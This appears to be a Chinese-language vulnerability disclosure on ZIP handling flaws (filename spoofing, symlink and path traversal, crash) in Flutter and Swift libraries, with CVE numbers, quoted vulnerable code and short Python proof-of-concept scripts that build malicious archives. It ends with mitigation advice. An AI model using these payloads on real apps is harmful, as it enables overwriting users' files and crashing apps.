Swift 和 Flutter 中 ZIP 库的漏洞
近期的深入研究揭示了 Flutter 和 Swift 中广泛使用的 zip 软件包存在严重漏洞,给成千上万的开发者和应用带来了严重的安全风险。本文深入剖析这些漏洞的技术细节,介绍其发现过程、影响以及缓解策略。
引言
ZIP 包是包含多个文件和目录的压缩归档文件,开发者可以借此方便地打包应用功能所需的资源、库和其他组件。ZIP 包虽然高效易用,但也可能成为潜在安全漏洞的来源,被恶意行为者利用。
本文将深入探讨 zip 处理实现的安全性,展示 Swift 和 Dart(Flutter)生态系统中流行 Zip 库的漏洞。我们将探讨恶意 ZIP 包带来的潜在风险,以及它们可能对移动应用安全造成的后果。此外,我们还将讨论在整个开发生命周期中切实保护 ZIP 包的最佳实践和有效策略。
ZIP 文件的结构剖析
ZIP 文件通常遵循以下布局:
+------------------------------------------------------+
| Local File Header |
| +----------------------------------------------+ |
| | Local File Header Signature (4 bytes) | |
| | Version Needed to Extract (2 bytes) | |
| | General Purpose Bit Flag (2 bytes) | |
| | Compression Method (2 bytes) | |
| | Last Mod Time (2 bytes) | |
| | Last Mod Date (2 bytes) | |
| | CRC-32 Checksum (4 bytes) | |
| | Compressed Size (4 bytes) | |
| | Uncompressed Size (4 bytes) | |
| | Filename Length (2 bytes) | |
| | Extra Field Length (2 bytes) | |
| +----------------------------------------------+ |
| | Filename (variable length) | |
| | | |
| +----------------------------------------------+ |
| | Extra Field (variable length) | |
| | | |
| +----------------------------------------------+ |
| Compressed Data |
| |
| +----------------------------------------------+ |
| | Data Descriptor (optional) | |
| | +------------------------------------------+ | |
| | | CRC-32 Checksum (4 bytes) | | |
| | | Compressed Size (4 bytes) | | |
| | | Uncompressed Size (4 bytes) | | |
| | +------------------------------------------+ | |
| +----------------------------------------------+ |
+------------------------------------------------------+
+------------------------------------------------------+
| Central Directory |
| +----------------------------------------------+ |
| | Central Directory File Header | |
| | +--------------------------------------+ | |
| | | Central Directory Header Signature | | |
| | | Version Made by (2 bytes) | | |
| | | Version Needed to Extract (2 bytes) | | |
| | | General Purpose Bit Flag (2 bytes) | | |
| | | ... | | |
| | +--------------------------------------+ | |
| | | CRC-32 Checksum (4 bytes) | | |
| | | Compressed Size (4 bytes) | | |
| | | Uncompressed Size (4 bytes) | | |
| | | Filename Length (2 bytes) | | |
| | | ... | | |
| | +--------------------------------------+ | |
| | | Filename (variable length) | | |
| | | | | |
| | +--------------------------------------+ | |
| +----------------------------------------------+ |
+------------------------------------------------------+
+------------------------------------------------------+
| End of Central Directory Record |
| +----------------------------------------------+ |
| | End of Central Directory Signature (4 bytes) | |
| | ... | |
| +----------------------------------------------+ |
+------------------------------------------------------+
zip 结构中值得关注的部分包括:
-
Local File Header:Local File Header(本地文件头)是 ZIP 归档中每个文件开头的一个区段。它包含压缩文件的基本信息,例如文件名、大小、压缩方法及其他属性。借助该文件头,软件可以在 ZIP 归档中定位并提取单个文件。
-
Data Descriptor:Data Descriptor(数据描述符)是 ZIP 文件格式中的一个可选区段。它提供有关文件压缩数据的附加信息。Data Descriptor 的用途是存储未压缩数据的 CRC-32 校验和、压缩后大小以及未压缩大小。包含这些信息可以进行完整性检查,在提取文件时也很有用。
-
Central Directory File Header:Central Directory File Header(中央目录文件头)是 ZIP 文件中的一个区段,包含归档内每个文件的元数据。它提供文件名、压缩后大小、未压缩大小、压缩方法及其他属性等详细信息。Central Directory File Header 位于中央目录结构中,后者是 ZIP 归档中所有文件的目录清单。
-
End of Central Directory Record(EOCD):End of Central Directory(EOCD)Record(中央目录结束记录)是位于 ZIP 文件末尾、标志中央目录结构结束的一个区段。它包含重要信息,包括中央目录中的条目数量、中央目录的大小以及中央目录起始位置的偏移量。借助 EOCD 记录,软件可以定位并访问中央目录,而中央目录提供了 ZIP 归档中各文件的信息。
常见的 ZIP 漏洞:
-
ZIP 路径遍历:Zip 路径遍历,又称 Zip Slip,是一种在应用解压时未能验证 zip 条目文件名的情况下出现的安全漏洞。它使攻击者能够将文件解压到解压目录之外的任意位置,从而覆盖敏感的用户数据;在某些情况下,如果攻击者覆盖了应用的共享对象文件,还可能导致代码执行。
-
ZIP 文件名欺骗:在 ZIP 归档中,与文件名相关的主要数据结构有两个:
Central Directory Entry和Local File Header。例如,当解析器从Local File Header中读取文件名,却使用Central Directory Entry中的路径来解压文件时,就会出现这种问题。 -
ZIP 符号链接路径遍历:ZIP 符号链接是许多 zip 工具都支持的一项功能,这些符号链接可以指向解压目录之外的文件。这可能带来安全风险,导致敏感数据或共享对象文件被覆盖,进而可能导致代码执行。
-
ZIP 炸弹:zip 炸弹是一个体积很小、却包含海量压缩数据的 zip 文件。解压时,它会膨胀为一个巨大的文件或消耗过多的系统资源,可能造成拒绝服务(DoS)。
待分析的 ZIP 软件包
Archive
Brendan Duncan 开发的 archive 是用于处理压缩文件的热门 flutter 软件包之一。该软件包用 Dart 原生实现了常见的归档格式,无需借助特定平台的原生软件包,例如 Android 上的 java.util.zip 或 iOS 上的 ZIPFoundation。
语言:Dart (Flutter)
链接:https://pub.dev/packages/archive
Flutter_archive
flutter_archive 是另一个用于处理压缩文件的 Flutter 软件包,仅支持 zip 文件。该软件包借助 Flutter 的 MethodChannel,依赖 Java 的原生 zip 软件包 java.util.zip。
语言:Dart (Flutter)
链接:https://pub.dev/packages/flutter_archive
ZIPFoundation
ZIPFoundation 是一个用于创建、读取和修改 ZIP 归档文件的库。它使用 Swift 编写,基于 Apple 的 libcompression,以实现高性能和高能效。
语言:Swift
链接:https://github.com/weichsel/ZIPFoundation
ZIP
Zip 是一个用于压缩和解压文件的 Swift 框架,简单易用,构建于 minizip 之上。
语言:Swift
链接:https://github.com/marmelroy/Zip
ZIPArchive (SSZIPArchive)
ZipArchive 是一个简单的工具类,用于在 iOS、macOS 和 tvOS 上压缩和解压文件。
语言:Swift
链接:https://github.com/ZipArchive/ZipArchive
发现的漏洞
软件包:Archive
ZIP 文件名欺骗(CVE-2023-39137)
archive 软件包只从 Local File Header 中解析文件名,这与大多数通常以 Central Directory Entry 为准的 zip 解析器不一致。攻击者可以利用这种不一致,构造一个在 Local File Header 和 Central Directory Entry 中具有不同文件名的恶意 zip 文件,从而使文件在解压前后具有不同的文件名。
String filename = '';
List<int> extraField = [];
String fileComment = '';
ZipFile? file;
ZipFileHeader(
[InputStreamBase? input, InputStreamBase? bytes, String? password]) {
if (input != null) {
versionMadeBy = input.readUint16();
versionNeededToExtract = input.readUint16();
generalPurposeBitFlag = input.readUint16();
compressionMethod = input.readUint16();
lastModifiedFileTime = input.readUint16();
lastModifiedFileDate = input.readUint16();
crc32 = input.readUint32();
compressedSize = input.readUint32();
uncompressedSize = input.readUint32();
final fnameLen = input.readUint16();
final extraLen = input.readUint16();
final commentLen = input.readUint16();
diskNumberStart = input.readUint16();
internalFileAttributes = input.readUint16();
externalFileAttributes = input.readUint32();
localHeaderOffset = input.readUint32();
if (fnameLen > 0) {
filename = input.readString(size: fnameLen);
}
为了验证这一点,我们构造了一个 zip 文件,其 Local File Header 和 Central Directory Entry 中的文件名字段值分别为 evil.apk 和 evil.txt
概念验证代码:
import zipfile
def generate_spoofed_zip(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
with open('payload.zip', 'rb') as zipf:
zip_data = zipf.read()
spoofed_data = zip_data.replace(bytes(filename, 'utf-8'), bytes(spoofed_filename, 'utf-8'), 1)
with open('payload.zip', 'wb') as zipf:
zipf.write(spoofed_data)
original_filename = 'evil.txt'
spoofed_filename = 'evil.apk'
if len(original_filename) != len(spoofed_filename):
raise ValueError("Filenames lengths must be equal")
generate_spoofed_zip(original_filename)

当我们对该 zip 文件运行 zipinfo 工具时,其中的文件名被解析为 evil.txt

然而,使用 archive 软件包中的 extractFileToDisk 函数解压该文件后,文件名被解析为 evil.apk

ZIP 符号链接路径遍历(CVE-2023-39139)
在检查该软件包时,我们还有另一个有趣的发现:它不仅会在解压后重新建立符号链接,而且对于指向任意路径的符号链接也会照样建立,即使目标位于解压目录之外。
for (final file in archive.files) {
final filePath = p.join(outputPath, p.normalize(file.name));
if (!isWithinOutputPath(outputPath, filePath)) {
continue;
}
if (!file.isFile && !file.isSymbolicLink) {
Directory(filePath).createSync(recursive: true);
continue;
}
if (asyncWrite) {
if (file.isSymbolicLink) {
final link = Link(filePath);
await link.create(p.normalize(file.nameOfLinkedFile), recursive: true);
} else {
final output = File(filePath);
final f = await output.create(recursive: true);
final fp = await f.open(mode: FileMode.write);
final bytes = file.content as List<int>;
await fp.writeFrom(bytes);
file.clear();
futures.add(fp.close());
}
为了验证这一点,我们创建了一个指向父目录中某个文件(secret.txt)的符号链接 evil,使用命令 zip --symlinks poc.zip evil 将该符号链接压缩,然后在一台 Android 测试设备上使用 extractFileToDisk 函数解压 poc.zip。
概念验证代码:
import zipfile
def compress_file(filename):
zipInfo = zipfile.ZipInfo("")
zipInfo.create_system = 3
zipInfo.external_attr = 2716663808
zipInfo.filename = filename
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(zipInfo, "/etc/hosts")
filename = 'evil'
compress_file(filename)

解压该 zip 文件后,符号链接被重新建立,并指向解压目录之外的 ../secret.txt。

软件包:ZIPFoundation
ZIP 符号链接路径遍历(CVE-2023-39138)
解压时,该软件包会将来自 zip 条目的路径直接传递给 fileManager.createSymbolicLink,而不检查其是否位于解压目录之内。我们重复了上述测试,发现该软件包同样允许指向解压目录之外的符号链接。
case .symlink:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
let consumer = { (data: Data) in
guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath }
try fileManager.createParentDirectoryStructure(for: url)
try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath)
}
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
}
ZIP 路径遍历(CVE-2023-39138)
该软件包使用函数 isContained 检查 zip 条目路径是否位于解压目录之内:
func isContained(in parentDirectoryURL: URL) -> Bool {
// Ensure this URL is contained in the passed in URL
let parentDirectoryURL = URL(fileURLWithPath: parentDirectoryURL.path, isDirectory: true).standardized
return self.standardized.absoluteString.hasPrefix(parentDirectoryURL.absoluteString)
}
...
guard entryURL.isContained(in: destinationURL) else {
throw CocoaError(.fileReadInvalidFileName,
userInfo: [NSFilePathErrorKey: entryURL.path])
}
...
crc32 = try archive.extract(entry, to: entryURL, skipCRC32: skipCRC32, progress: entryProgress)
下面是 extract 函数的代码片段:
public func extract(_ entry: Entry, to url: URL, bufferSize: Int = defaultReadChunkSize, skipCRC32: Bool = false,
progress: Progress? = nil) throws -> CRC32 {
guard bufferSize > 0 else {
throw ArchiveError.invalidBufferSize
}
let fileManager = FileManager()
var checksum = CRC32(0)
switch entry.type {
case .file:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
try fileManager.createParentDirectoryStructure(for: url)
let destinationRepresentation = fileManager.fileSystemRepresentation(withPath: url.path)
guard let destinationFile: FILEPointer = fopen(destinationRepresentation, "wb+") else {
throw POSIXError(errno, path: url.path)
}
defer { fclose(destinationFile) }
let consumer = { _ = try Data.write(chunk: $0, to: destinationFile) }
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
当提供路径 /base_path/extraction_directory//../ 时,该路径会被规范化为 /base_path/extraction_directory/entry_file_name,从而通过上述检查。
而当同一路径被传递给 fopen 时,它会被规范化为 /base_path/entry_file_name,使我们能够将文件写入解压目录之外。
概念验证代码:
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '/../secret.txt'
compress_file(filename)
软件包:Zip
ZIP 路径遍历(CVE-2023-39135)
下面是用于解压 zip 文件的 unzipFile 函数的代码片段,可以注意到,来自 zip 条目的 pathString 未经任何净化处理就被追加到 destination 目录之后
let fileNameSize = Int(fileInfo.size_filename) + 1
//let fileName = UnsafeMutablePointer<CChar>(allocatingCapacity: fileNameSize)
let fileName = UnsafeMutablePointer<CChar>.allocate(capacity: fileNameSize)
unzGetCurrentFileInfo64(zip, &fileInfo, fileName, UInt(fileNameSize), nil, 0, nil, 0)
fileName[Int(fileInfo.size_filename)] = 0
var pathString = String(cString: fileName)
guard pathString.count > 0 else {
throw ZipError.unzipFail
}
var isDirectory = false
let fileInfoSizeFileName = Int(fileInfo.size_filename-1)
if (fileName[fileInfoSizeFileName] == "/".cString(using: String.Encoding.utf8)?.first || fileName[fileInfoSizeFileName] == "\\".cString(using: String.Encoding.utf8)?.first) {
isDirectory = true;
}
free(fileName)
if pathString.rangeOfCharacter(from: CharacterSet(charactersIn: "/\\")) != nil {
pathString = pathString.replacingOccurrences(of: "\\", with: "/")
}
let fullPath = destination.appendingPathComponent(pathString).path
概念验证代码:
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '../secret.txt'
compress_file(filename)
软件包:ZIPArchive (SSZIPArchive)
拒绝服务(CVE-2023-39136)
下面是 _sanitizedPath 函数的代码片段,该函数用于净化 zip 条目的文件名。代码会在 zip 条目路径前添加 file:/// 前缀,使用 NSURL 对其进行标准化,然后移除所添加的前缀。然而,当路径为 /.. 时,NSURL 的输出会变成 file://,只有 7 个字符,而代码预期至少有 8 个字符,这一未处理的边界情况会导致应用崩溃。
if (strPath == nil) {
return nil;
}
// Add scheme "file:///" to support sanitation on names with a colon like "file:a/../../../usr/bin"
strPath = [@"file:///" stringByAppendingString:strPath];
// Sanitize path traversal characters to prevent directory backtracking. Ignoring these characters mimics the default behavior of the Unarchiving tool on macOS.
// "../../../../../../../../../../../tmp/test.txt" -> "tmp/test.txt"
// "a/b/../c.txt" -> "a/c.txt"
strPath = [NSURL URLWithString:strPath].standardizedURL.absoluteString;
// Remove the "file:///" scheme
strPath = [strPath substringFromIndex:8];
概念验证代码:
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '/..'
compress_file(filename)
汇总表
| 软件包 | 语言 | ZIP 文件名欺骗 | ZIP 符号链接 | ZIP 路径遍历 | 拒绝服务 |
|---|---|---|---|---|---|
| Archive | Dart (Flutter) | 存在漏洞 | 不受影响 | 不受影响 | 不受影响 |
| Flutter_archive | Dart (Flutter) | 不受影响 | 不受影响 | 不受影响 | 不受影响 |
| ZIPFoundation | Swift | 不受影响 | 存在漏洞 | 存在漏洞 | 不受影响 |
| ZIP | Swift | 不受影响 | 不受影响 | 存在漏洞 | 不受影响 |
| ZIPArchive | Swift | 不受影响 | 不受影响 | 不受影响 | 存在漏洞 |
结论
总而言之,ZIP 漏洞会带来重大的安全风险,开发者在处理归档文件时应当予以重视。ZIP 文件格式虽然被广泛使用和支持,但并非无懈可击。理解并解决这些漏洞,对于保护敏感数据、防范潜在攻击至关重要。
本文重点介绍了几种常见的 ZIP 漏洞,包括 ZIP 路径遍历、ZIP 文件名欺骗、ZIP 符号链接漏洞以及 ZIP 炸弹攻击。这些漏洞各自带来不同的风险,例如未经授权访问文件、覆盖敏感数据、拒绝服务(DoS),在某些场景下甚至会导致代码执行。
开发者在处理 ZIP 文件时,实施稳健的安全措施非常重要。这包括:在解压时验证 zip 条目文件名以防范路径遍历攻击;确保 Local File Header 与 Central Directory Entry 中的文件名一致,以缓解文件名欺骗;限制解压后文件的访问权限;以及采用恰当的解压技术,防止 ZIP 炸弹造成的 DoS 情况。
此外,及时了解与开发框架中所用 ZIP 库或软件包相关的安全更新和补丁也至关重要。定期审查和更新这些依赖项,有助于缓解已知漏洞并防范新出现的威胁。
值得一提的是,本文讨论的问题均已报告给相关作者。